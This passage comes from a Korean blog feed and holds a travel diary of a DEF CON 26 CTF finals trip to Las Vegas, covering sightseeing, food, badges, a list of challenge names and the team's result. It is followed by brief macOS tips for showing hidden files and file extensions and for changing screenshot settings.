srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9936D13A5C40254003&quot; width=&quot;820&quot; height=&quot;615&quot; filename=&quot;012.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[신의 정원이라고 불리는 자이언 캐니언(Zion Canyon)]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 615px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9996CD335C4027223A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9996CD335C4027223A&quot; width=&quot;615&quot; height=&quot;820&quot; filename=&quot;013.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[말발굽 모양의 호스슈 밴드(Horseshoe Bend)]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99D048335C40272412&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99D048335C40272412&quot; width=&quot;820&quot; height=&quot;1093&quot; filename=&quot;014.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[앤텔로프 캐니언(Antelope Canyon)]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99140B4A5C4038E728&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99140B4A5C4038E728&quot; width=&quot;820&quot; height=&quot;615&quot; filename=&quot;015.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[매더 포인트(Mather Point)]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;개인적으로 다시 올 기회가 생긴다면 조금 더 여유를 가지고 보고 싶을 만큼 너무 좋았습니다. 우리나라의 자연경관도 빼어나게 아름다운 곳이 많지만, 우리나라와는 색다른 모습을 볼 수가 있었고 라스베이거스로 복귀하는 길은 주변에 마을이 없어서 어둡다 보니 밤하늘의 은하수와 별똥별을 오랜만에 볼 수 있어서 좋았습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;5-6일 차 (08/07-08)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;미국에 도착하고 나서 설렘 때문인지 깊이 잠들지 못하고 매일 일찍 일어나서 베이컨과 스크램블 에그, 해시 브라운 등을 가볍게(?) 먹고 커피를 사서 방으로 돌아와서 TV를 보면서 휴식을 취하거나 낮잠으로 체력을 보충하고 저녁에 해가 떨어지면 다시 밖으로 나와서 구경하고 다녔습니다.&lt;/p&gt;&lt;p&gt;(낮에는 날씨가 너무 더워서 택시 기사분에게 물어보니 올해 날씨가 작년보다 습도가 높아서 더 덥게 느껴질 수 있다고...T.T)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;매일 아침 다양한 종류의 버거와 샌드위치도 먹어보고 미국식 아침 식사인 베이컨, 스크램블 에그 등을 먹어본 결과, 개인적으로는 얼 오브 샌드위치(Earl of Sandwich)가 다른 것들에 비해 부담감이 적어 아침으로 괜찮았습니다.&lt;/p&gt;&lt;p&gt;그리고 미국에서 인앤아웃 버거, 쉑쉑 버거, 고든 램지 버거 등 다양한 버거를 먹어보니 각각의 버거마다 특징이 확연하게 있었지만, 가성비를 무시한다면 고든 램지 버거를 먹어보는 것을 추천해 드립니다. 감자 좋아하시면 감자도 추천!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9989254E5C40C59306&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9989254E5C40C59306&quot; width=&quot;820&quot; height=&quot;615&quot; filename=&quot;016.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[고든 램지 버거]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;DEF CON Hacking 컨퍼런스 시작 전에 만달레이 베이 호텔에서 진행된 블랙햇(black hat) 컨퍼런스을 구경하면서 세션은 듣지 못했지만, 세션을 듣기 위해 움직이는 수많은 사람과 현장 분위기를 보면서 다음에 기회가 생겨서 미국에 가게 되면 세션이나 트레이닝을 사전에 신청해서 들어봐야겠다는 생각이 들었습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;구경을 마치고 라스베이거스 북쪽과 남쪽에 아주 큰 아웃렛이 있다는 소식을 듣고 만달레이 베이 호텔에서 가까운 노스 아웃렛(Las Vegas North Premium Outlets)에 가서 쇼핑하고 복귀하였습니다.&lt;/p&gt;&lt;p&gt;참고로 미국에서 옷을 구매할 경우 일반적인 치수보다 한 치수가 크다고 보시면 되고 호텔마다 백화점 수준으로 쇼핑할 곳이 많긴 하지만 아웃렛이 가격도 저렴하고 종류도 다양하게 있기 때문에 아웃렛 가서 비교해가면서 구매하시는 것을 추천해 드립니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;7일 차 (08/09)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;DEF CON Hacking 컨퍼런스는 시저스 팰리스(Caesars Palace)와 플라밍고 호텔(Flamingo Hotels)에서 9일부터 12일까지 4일간 진행되었고 CTF(Capture The Flag)는 10일부터 12일까지 3일간 진행되었습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;컨퍼런스 세션을 듣기 위해 필요한 출입증(?) 같은 뱃지(Badge)를 구매하기 위해 아침 일찍 시저스 팰리스로 이동해보니 생각보다 엄청난 숫자의 사람들이 이미 와서 줄을 서서 대기하고 있었습니다. T.T&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/994C293A5C40D6D909&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F994C293A5C40D6D909&quot; width=&quot;820&quot; height=&quot;615&quot; filename=&quot;017.gif&quot; filemime=&quot;image/gif&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[뱃지를 구매하기 위해 기다리면서 공놀이]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;뱃지를 구매하기 위해 기다리는 사람들이 심심하지 않도록 공놀이도 할 수 있고 이동하는 중간중간 정수기도 있어서 물도 마실 수 있습니다. 약 1시간이 넘는 오랜 기다림 끝에 280달러를 주고 뱃지와 스티커, CD 등을 받아서 방으로 복귀하였습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 615px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99EB9A4B5C40D9F60B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99EB9A4B5C40D9F60B&quot; width=&quot;615&quot; height=&quot;820&quot; filename=&quot;018.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[DEF CON 26 electronic Badge]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;뱃지 디자인은 매년 변경되며 작년에는 physical 뱃지였고 올해는 electronic 뱃지로 제작되었습니다.&lt;/p&gt;&lt;p&gt;뱃지 구매 시 받은 책자를 보면 해당 뱃지의 사용법과 미션뿐만 아니라 컨퍼런스의 전체적인 스케줄과 주제별로 테마를 빌리지(villages) 형태로 나눠서 다양한 것들을 체험하고 볼 수 있는 것들을 소개한 내용 등을 볼 수 있습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/990E5A445C40E4730D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F990E5A445C40E4730D&quot; width=&quot;820&quot; height=&quot;615&quot; filename=&quot;019.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[Gallagher's Steakhouse]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;라스베이거스에는 유명한 호텔들이 많다 보니 종류도 다양하고 미슐랭 가이드에 선정된 가게들도 많이 모여있습니다. 기본적으로 호텔마다 뷔페의 특색이 다르고 스트립에도 유명한 쉐프들이 운영하는 가게들도 쉽게 찾아볼 수 있습니다.&lt;/p&gt;&lt;p&gt;짧은 기간이지만 미국에 있으면서 하루에 1번 이상 매번 다른 스테이크를 먹어봤는데 그중에서 갤러거스 스테이크 하우스에서 먹어본 스테이크가 가장 인상 깊었습니다. 위 사진에서 위에 있는 메뉴는 그날 가장 품질이 좋은 재료로 만든 요리(아마도... Butcher's Featured Steak(?))였는데 정확히 기억은 나지 않습니다만 가격은 MP(market price)인 메뉴였고 아래에 있는 메뉴는 갤러거스의 대표적인 메뉴인 Dry-Aged New York Strip입니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;다시 데프콘 이야기로 돌아와서 내일 있을 본선을 위해서 전체 사전 회의를 하고 간단히 저녁을 먹고 평소보다 빨리 취침하였습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;8-10일 차 (08/10-12)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;이번 데프콘은 작년까지 운영했던 legitbs팀에서 OOO(Order of Overflow)팀으로 변경되어 진행된 첫 데프콘이다 보니 기존의 Attack-Defense 형태의 문제 외에도 King of the Hill 형태의 문제가 추가되어 진행되었습니다.&lt;/p&gt;&lt;p&gt;이 밖에도 세부적인 변경사항은 아래 링크에 자세히 나와 있으니 참고하시길 바랍니다.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;a href=&quot;https://dttw.tech/posts/Hka91N-IQ&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;https://dttw.tech/posts/Hka91N-IQ&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Attack-Defense&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;pointless: A mips-based challenge.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;twoplustwo: A JavaScript calculator that was run using Duktape.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;oooeditor: An ed-reminiscent editor with binary file support.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;poool: A crypto-currency pool management binary.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;vchat: A jabber client.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;bew: A web-based dissident-reporting site.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;reeducation: A subeq interpreter.&lt;/p&gt;&lt;p&gt;&lt;b&gt;King of the Hill&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;reverse: An assembly fill-in-the-blank game.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;doublethink: Who can write the most polymorphic shellcode?&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;propaganda: Smallest patch for the win!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;데프콘 시작은 네트워크 셋팅 등을 하기 위해서 오전 9시까지 시저스 팰리스 아우구스투스 홀 앞에 모인 다음 호명된 순서대로 입장해서 준비하러 이동하였고 CTF 본선 대회 장소에 입장하기 위해서는 CTF 뱃지가 필요한데 테이블에 앉을 수 있는 멤버는 8명이기 때문에 지급받은 8개의 뱃지를 이용하여 입장할 수 있습니다. 입장 통제는 네트워크 셋팅 및 준비 시에만 통제하고 이후 10시부터 20시까지는 컨퍼런스 뱃지만 있으면 누구나 와서 대회 모습을 구경할 수 있습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Schedule&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;10(fri): 10:00 ~ 20:00 (10H)&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;11(sat): 10:00 ~ 20:00 (10H)&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;12(sun): 10:00 ~ 14:00 (4H)&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;color: rgb(189, 189, 189);&quot;&gt;*Setup : Teams will be allowed in the room at 9am each morning to setup.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99CAF8365C40F4CA14&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99CAF8365C40F4CA14&quot; width=&quot;820&quot; height=&quot;461&quot; filename=&quot;020.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[CTF 본선 대회 장소에 들어갈 때 필요한 뱃지]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99CA88365C40F4CB14&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99CA88365C40F4CB14&quot; width=&quot;820&quot; height=&quot;461&quot; filename=&quot;021.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[대회 시작 전 네트워크 셋팅 및 준비 중인 모습]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99CAA0365C40F4CD14&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99CAA0365C40F4CD14&quot; width=&quot;820&quot; height=&quot;615&quot; filename=&quot;022.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[CTF 본선 대회 모습]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;본선 대회 장소에는 정체를 알 수 없는 노래와 영상이 반복해서 흘러나오고 테이블에 앉아서 문제를 풀고 있는 멤버 주위가 매우 산만하고 정신이 없어서 고도의 집중력이 필요해 보였습니다. 그리고 저녁에 테이블을 정리하고 방으로 복귀해서도 계속 문제를 분석하고 해결할 수 있도록 받쳐주는 체력과 정신력도 중요하다는 것을 알 수 있었습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;대회가 진행되는 동안 다른 멤버들에 비해 도움을 줄 수 있는 역량이 부족하여서 할 수 있는 것이 없을 때는 데프콘 세션도 들으러 가고 다양한 콘텐츠를 경험한 것도 좋았지만 무엇보다 첫 본선 진출 경험을 이렇게 큰 대회에서 경험할 수 있었다는 것에 정말 감사하며 팀에서의 부족한 부분과 나 자신의 부족한 부분을 알 수 있는 대회여서 여러모로 뜻깊은 경험이 되었습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 253px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99C0B8435C4100AC17&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99C0B8435C4100AC17&quot; width=&quot;253&quot; height=&quot;734&quot; filename=&quot;023.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[DEF CON 26 CTF Finals 결과 : C.G.K.S 13등]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99C0FD435C4100AE17&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99C0FD435C4100AE17&quot; width=&quot;820&quot; height=&quot;546&quot; filename=&quot;024.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[C.G.K.S]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B817435C4100AF18&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B817435C4100AF18&quot; width=&quot;820&quot; height=&quot;615&quot; filename=&quot;025.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[TenDollar]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;11일 차 (08/13)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;마지막 날에는 사우스 아웃렛(Las Vegas South Premium Outlets)에 들려서 마지막 쇼핑도 하고 매캐런 공항으로 이동하여 한국으로 복귀하였습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99F9043B5C4107C01D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99F9043B5C4107C01D&quot; width=&quot;820&quot; height=&quot;615&quot; filename=&quot;026.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[Goodbye Las Vegas!]&lt;/p&gt;</description>
      <category>History</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/334</guid>
      <comments>https://do9dark.tistory.com/334#entry334comment</comments>
      <pubDate>Thu, 4 Oct 2018 04:44:02 +0900</pubDate>
    </item>
    <item>
      <title>[MacOS] Finder에서 숨김 파일 표시</title>
      <link>https://do9dark.tistory.com/327</link>
      <description>&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;- 숨김 파일(&quot;.&quot;으로 시작하는 파일) 표시&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; defaults write com.apple.finder AppleShowAllFiles -bool true&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;color: rgb(189, 189, 189);&quot;&gt;숨김 파일을 표시하지 않을 경우에는 true 값을 false로 변경&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; killall Finder&lt;/p&gt;</description>
      <category>Operating System/MacOS</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/327</guid>
      <comments>https://do9dark.tistory.com/327#entry327comment</comments>
      <pubDate>Sat, 30 Jun 2018 21:00:00 +0900</pubDate>
    </item>
    <item>
      <title>[MacOS] 확장자 보기</title>
      <link>https://do9dark.tistory.com/280</link>
      <description>&lt;p&gt;Finder를 실행하면 화면 상단에 Finder 메뉴를 볼 수 있고, Finder를 선택하고 Preferences...를 선택한다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/221ABA5058C4358D06&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F221ABA5058C4358D06&quot; width=&quot;1000&quot; height=&quot;15&quot; filename=&quot;001.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 201px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2210CA5058C4358D2D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2210CA5058C4358D2D&quot; width=&quot;201&quot; height=&quot;208&quot; filename=&quot;002.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Advanced에 &quot;Show all filename extensions&quot;를 확인할 수 있고 해당 항목을 활성화하면 파일의 확장자를 확인할 수 있다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 340px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/217E255058C4358E35&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F217E255058C4358E35&quot; width=&quot;340&quot; height=&quot;267&quot; filename=&quot;003.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;</description>
      <category>Operating System/MacOS</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/280</guid>
      <comments>https://do9dark.tistory.com/280#entry280comment</comments>
      <pubDate>Fri, 29 Jun 2018 17:57:00 +0900</pubDate>
    </item>
    <item>
      <title>[MacOS] ScreenCapture 설정</title>
      <link>https://do9dark.tistory.com/326</link>
      <description>&lt;p&gt;&lt;keyboard&gt;shift&lt;/keyboard&gt; + &lt;keyboard&gt;command&lt;/keyboard&gt; + &lt;keyboard&gt;3&lt;/keyboard&gt; : 전체화면&lt;/p&gt;&lt;p&gt;&lt;keyboard&gt;shift&lt;/keyboard&gt; + &lt;keyboard&gt;command&lt;/keyboard&gt; + &lt;keyboard&gt;4&lt;/keyboard&gt; : 사용자가 지정하는 영역(마우스로 드래그한 영역)&lt;/p&gt;&lt;p&gt;&lt;keyboard&gt;shift&lt;/keyboard&gt; + &lt;keyboard&gt;command&lt;/keyboard&gt; + &lt;keyboard&gt;4&lt;/keyboard&gt; 누른 후 &lt;keyboard&gt;space&lt;/keyboard&gt; 사용 : 마우스로 특정 프로그램(화면) 위로 이동하여 선택&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;- 스크린샷 시작 파일명 변경&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; defaults write com.apple.screencapture name &quot;D&quot;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;color: rgb(189, 189, 189);&quot;&gt;시작 파일명 D로 변경&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; killall SystemUIServer&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;color: rgb(189, 189, 189);&quot;&gt;시스템 변경 사항을 적용하기 위해서 시스템 관련 인터페이스를 중지하고 다시 시작&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;b&gt;- 스크린샷 저장 위치 변경&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; defaults write com.apple.screencapture location /Users/do9dark/Documents/&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; killall SystemUIServer&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;b&gt;- 스크린샷 그림자(테두리) 없애기&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; defaults write com.apple.screencapture disable-shadow -bool true&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;color: rgb(189, 189, 189);&quot;&gt;false 설정 시 그림자(테두리) 생성&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; killall SystemUIServer&lt;/p&gt;</description>
